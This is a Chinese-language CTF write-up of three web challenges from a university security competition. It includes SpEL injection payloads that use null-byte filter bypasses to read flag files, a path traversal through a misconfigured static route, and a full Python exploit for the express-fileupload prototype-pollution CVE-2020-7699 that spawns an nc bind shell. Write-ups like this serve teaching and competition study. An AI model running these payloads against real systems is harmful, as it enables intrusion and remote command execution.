1. 程式人生 > 實用技巧 >全國大學生資訊保安競賽—創新實踐能力賽 華東北賽區部分wp

全國大學生資訊保安競賽—創新實踐能力賽 華東北賽區部分wp

整理下前兩天國賽分割槽賽的wp,我們隊只做出了三道web
雖然還沒出最終結果,但應該是沒進決賽了
還是缺個pwn手啊。。。。

web3

看到題目,有三個需要繞過得點,應該不難

然後 發現url是cat.php

下意識得訪問了下flag.php

????就這???

web4

在輸入框中輸入表示式可以得到表示式結果。

嘗試fuzz,發現框架關鍵字springframework、Spel

初步判斷為SPEL注入,經過測試後發現Runtime,new,T(、getclass,get( 等都被禁止了。而files,Files,readAllLines沒有被禁止。

構造payload嘗試讀取flag

T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'))

然而由於new,T(、getclass,get( 等都被禁止,無法執行。

嘗試使用00%截斷bypass,繞過T( get( 的判斷。修改payload

T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00('/flag'))

報錯,嘗試把flag改成flag.txt flag.txt1 fl4g

T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00('/flag.txt'))

成功讀到flag.txt

web7

發開頁面後發現為一個bootstrap的示例頁面

掃描埠發現有3000埠開放

結合wappalyzer分析後端為node.js加nginx反向代理

發現404頁面為這樣的,推測有看目錄穿越漏洞

嘗試多次後未果

轉變思路,發現由於配置不當,訪問/static../後可以穿越目錄看到後端原始碼

app.js內容如下

訪問/4_pATh_y0u_CaNN07_Gu3ss後發現

再轉變思路,研究app.use(fileUpload({ parseNested: true }));

發現此處可能會有CVE-2020-7699漏洞,發現下面的部落格

https://blog.p6.is/Real-World-JS-1/

學習一番後覺得可以用此洞來getshell

先試了反向shell,發現出不了外網,也連不了自己得主機,遂棄

後利用nc正向shell,得flag

exp如下:

#Coder: r3t7rn
#Date: 2020.9.12 ciscn2020
import requests

cmd = "nc -l -p 5555 -e /bin/sh"
# pollute
r1=requests.post('http://172.20.id.107/4_pATh_y0u_CaNN07_Gu3ss', files = {'__proto__.outputFunctionName': (
    None, f"x;process.mainModule.require('child_process').exec('{cmd}');x")})
print(r1.text)
# execute command
r2=requests.get('http://172.20.id.107')
print(r2.text)